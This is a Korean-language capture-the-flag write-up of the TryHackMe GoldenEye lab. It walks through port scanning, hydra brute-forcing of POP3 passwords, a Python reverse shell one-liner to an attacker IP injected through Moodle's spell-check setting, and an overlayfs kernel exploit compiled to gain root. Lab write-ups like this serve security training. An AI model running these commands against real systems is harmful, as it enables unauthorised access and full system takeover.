G2H

보안 리서치 · 레드팀/블루팀 · DFIR · Cloud · Tooling

최신 글 보기

최근에 작성된 글들을 확인해보세요.

GoldenEye - TryHackMe

WriteUP
https://tryhackme.com/room/goldeneye

 Write Up

┌──(g2h㉿g2h)-[~/thm]
└─$ nmap -p- -Pn -sV 10.10.130.18
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-30 21:23 KST
Stats: 0:03:57 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 59.99% done; ETC: 21:30 (0:02:39 remaining)
Nmap scan report for 10.10.130.18
Host is up (0.40s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
25/tcp    open  smtp     Postfix smtpd
80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
55006/tcp open  ssl/pop3 Dovecot pop3d
55007/tcp open  pop3     Dovecot pop3d

Nmap 포트스캐닝 결과 4개의 서비스가 동작중인 것을 확인

80 포트를 통해 웹 서비스가 동작중인 것을 확인했으니, 해당 ip를 통해 웹 접속을 시도

이후 소스코드에서 주석처리된 인코딩 값과 Boris 라는 사용자명을 확인 했다.

"//InvincibleHack3r" 

디코딩 결과 InvinibleHack3r 라는 패스워드로 추정되는 값 을 획득했다.

이후 웹 페이지에서 나타내는 /sev-home/ 경로로 이동했다.

해당 페이지에 로그인 후 접근해보면 메인페이지에 하나의 글치 출력되었으며, boris 계정에 대해 을 pop3 서비스를 통해 메일을 확인해보면 추가 단서를 얻을 수 있을 것 같다.

┌──(g2h㉿g2h)-[~/thm]
└─$ hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f -s 55007 10.10.130.18 pop3
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-30 22:12:36
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 262 login tries (l:1/p:262), ~17 tries per task
[DATA] attacking pop3://10.10.130.18:55007/
^[[24~[STATUS] 80.00 tries/min, 80 tries in 00:01h, 182 to do in 00:03h, 16 active
[STATUS] 58.67 tries/min, 176 tries in 00:03h, 86 to do in 00:02h, 16 active
[55007][pop3] host: 10.10.130.18   login: boris   password: secret1!
[STATUS] attack finished for 10.10.130.18 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-30 22:15:41

hydra 패스워크 크래킹 툴로 확인 결과, secret1!  이라는 패스워드를 획득했다.

 

┌──(g2h㉿g2h)-[~/thm]
└─$ telnet 10.10.130.18 55007
Trying 10.10.130.18...
Connected to 10.10.130.18.
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER boris
+OK
PASS secret1!
+OK Logged in.

```

retr 2
+OK 373 octets
Return-Path: <natalya@ubuntu>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id C3F2B454B1
        for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: <20180425024249.C3F2B454B1@ubuntu>
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu

Boris, I can break your codes!
.

```​

로그인에 성공 후 메일 내용을 살펴보다 보면, natalya 라는 사용자가 추가로 존재하는 걸 확인해볼 수 있다.

┌──(g2h㉿g2h)-[~/thm]
└─$ hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f -t 32 -s 55007 10.10.130.18 pop3
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-30 22:36:47
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 32 tasks per 1 server, overall 32 tasks, 262 login tries (l:1/p:262), ~9 tries per task
[DATA] attacking pop3://10.10.130.18:55007/
[STATUS] 160.00 tries/min, 160 tries in 00:01h, 102 to do in 00:01h, 32 active
[55007][pop3] host: 10.10.130.18   login: natalya   password: bird
[STATUS] attack finished for 10.10.130.18 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-30 22:38:20

이후 natalya 계정에 대한 pop3 패스워드를 추출하는데 성공했다.

┌──(g2h㉿g2h)-[~/thm]
└─$  telnet 10.10.130.18 55007
Trying 10.10.130.18...
Connected to 10.10.130.18.
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER natalya
+OK
PASS bird
+OK Logged in.
retr 1
+OK 631 octets
```
retr 2
+OK 1048 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 17C96454B1
        for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: <20180425031956.17C96454B1@ubuntu>
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

Ok, user creds are:

username: xenia
password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.
```

natalya 계정으로 이메일 내용을 살펴본 결과,

해당 ip에 대해 severnaya-statuon.com 을 /etc/hosts에 매핑 시키라고 나와 있으며,

/gnocertdir 추가 xenia 계정에 대한 추가 계정 정보를 보여주고 있다.

moodle 로 만들어진 페이지가 존재했으며, 로그인 페이지가 별도 존재했다.

이전에 획득한 계정정보로 접근이 가능하다.

페이지를 살펴보던 중 messages 항목에서doak 라는 사용자에게 메시지가 온 것을 확인했으며,

이로이니해 doak 사용자의 계정또한 크래킹이 가능할 것이라는 추측이 들었다.

┌──(g2h㉿g2h)-[~/thm]
└─$ telnet 10.10.130.18 55007
Trying 10.10.130.18...
Connected to 10.10.130.18.
Escape character is '^]'.
U+OK GoldenEye POP3 Electronic-Mail System
USER doak
-ERR Unknown command.
USER doak
+OK

doak 계정이 pop3 서비스 내에 등록되어 있다는 걸 확인하였으니

이전과 동일하게 패스워드 크래킹을 진행할 수 있다.

┌──(g2h㉿g2h)-[~/thm]
└─$ hydra -l doak -P /usr/share/wordlists/fasttrack.txt -f -t 32 -s 55007 10.10.130.18 pop3
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-30 22:47:31
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 32 tasks per 1 server, overall 32 tasks, 262 login tries (l:1/p:262), ~9 tries per task
[DATA] attacking pop3://10.10.130.18:55007/
[STATUS] 160.00 tries/min, 160 tries in 00:01h, 102 to do in 00:01h, 32 active
[55007][pop3] host: 10.10.130.18   login: doak   password: goat
[STATUS] attack finished for 10.10.130.18 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-30 22:48:56

성공적으로 doak 계정에 대한  패스워드 추출을 할 수 있다.

Return-Path: <doak@ubuntu>
X-Original-To: doak
Delivered-To: doak@ubuntu
Received: from doak (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 97DC24549D
        for <doak>; Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
Message-Id: <20180425034731.97DC24549D@ubuntu>
Date: Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
From: doak@ubuntu

James,
If you're reading this, congrats you've gotten this far. You know how tradecraft works right?

Because I don't. Go to our training site and login to my account....dig until you can exfiltrate further information......

username: dr_doak
password: 4England!

메일 내용을 확인 하던 중 dr_doak 라는 계정 정보를 획득하였다.

해당 정보를 바탕으로 이전에 확인한 웹 사이트에 접근할 수 있다.

해당 계정 접속 후 둘러보다면, s3cret.txt 파일을 볼 수 있다.

007,

I was able to capture this apps adm1n cr3ds through clear txt. 

Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here. 

Something juicy is located here: /dir007key/for-007.jpg

Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.

해당 파일의 내용은 위와 같고

/dir007key/for-007.jpg 파일을 추가로 살펴봐야할 것 같다.

또한, admin에 대한 인증값이 있는 듯 하다.

해당 경로로 접근하면 특정 이미지 파일이 존재하며,

해당 이미지를 다운받아 살펴봤다.

이미지 설명 부분에 Base64 인코딩된 값이 확인됐다.

┌──(g2h㉿g2h)-[~/Downloads]
└─$ echo "eFdpbnRlcjE5OTV4IQ==" | base64 -d
xWinter1995x!

디코딩 결과 패스워드로 추정되는 문자열을 추출할 수 있다.

추출된 문자열과 함께, 이전 웹 사이트에 admin 계정으로 로그인을 시도했다.

성공적으로 admin 계정으로 접근할 수 있었다.

 moodle 페이지 내에서 spell check 기능을 통해 커맨드를 입력하여 Reverse Shell Connection을 맺을 수 있다.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.85.76",5252));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

python 을 통한 Reverse Connection 코드를 입력하여 저장 이후 스크립트 엔진을  PspellShell 로 지정했다.

이후 화면에 보이는 체크무니 즉, Spell Check 버튼을 클릭하면 이전에 입력했던 스크립트가 

동작되면 공격자 측에 ReverseConnection이 맺어진다.

┌──(g2h㉿g2h)-[~/Downloads]
└─$ nc -lvnp 5252
listening on [any] 5252 ...
connect to [10.4.85.76] from (UNKNOWN) [10.10.130.18] 40703
$ python -c 'import pty; pty.spawn("/bin/bash")';
python -c 'import pty; pty.spawn("/bin/bash")';
<ditor/tinymce/tiny_mce/3.4.9/plugins/spellchecker$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<ditor/tinymce/tiny_mce/3.4.9/plugins/spellchecker$

성공적으로 www-data 권한으로 Shell 을 획득할 수 있다.

<ditor/tinymce/tiny_mce/3.4.9/plugins/spellchecker$ uname -a
uname -a
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

해당 리눅스 커널에 대해 권한 상승이 가능한 exploit가 존재한다.

해당 파일을 공격자 서버로 다운로드 받은 후, python3 서버를 열어, 

희생자 pc로 wget을 통해 다운로드 받을 수 있다.

하지만 레거시 시스템으로 추정되는 희생자 pc에 gcc가 존재하지 않으며, gcc와 동일하며, 레거시 시스템에

존재하는 cc 컴파일러를 사용하여 해당 .c 파일을 컴파일 할 수 있다.

ofs.c:94:1: warning: control may reach end of non-void function [-Wreturn-type]                                         }
^
ofs.c:106:12: warning: implicit declaration of function 'unshare' is invalid in C99 [-Wimplicit-function-declaration]
        if(unshare(CLONE_NEWUSER) != 0)
           ^
ofs.c:111:17: warning: implicit declaration of function 'clone' is invalid in C99 [-Wimplicit-function-declaration]
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
                ^
ofs.c:117:13: warning: implicit declaration of function 'waitpid' is invalid in C99 [-Wimplicit-function-declaration]
            waitpid(pid, &status, 0);
            ^
ofs.c:127:5: warning: implicit declaration of function 'wait' is invalid in C99 [-Wimplicit-function-declaration]
    wait(NULL);

그냥 돌릴 경우 위와 같이 오류들이 존재하며,.

.c 파일의 코드를 살짝 수정해줘야한다.

 

#include <sys/wait.h>

#define _GNU_SOURCE
#include <sched.h>     
위 3개의 헤더를 추가 시켜 주어야 하며, 소스코드 내에 gcc -> cc로 변경해주어야 한다.

<ditor/tinymce/tiny_mce/3.4.9/plugins/spellchecker$ cc ofs.c -o ofs
cc ofs.c -o ofs
ofs.c:96:1: warning: control may reach end of non-void function [-Wreturn-type]
}
^
1 warning generated.
<ditor/tinymce/tiny_mce/3.4.9/plugins/spellchecker$ ls
ls
changelog.txt  config.php  editor_plugin.js      img       ofs    rpc.php
classes        css         editor_plugin_src.js  includes  ofs.c
<ditor/tinymce/tiny_mce/3.4.9/plugins/spellchecker$ ./ofs
./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
#

성공적으로 root 권한을 획득할 수 있다.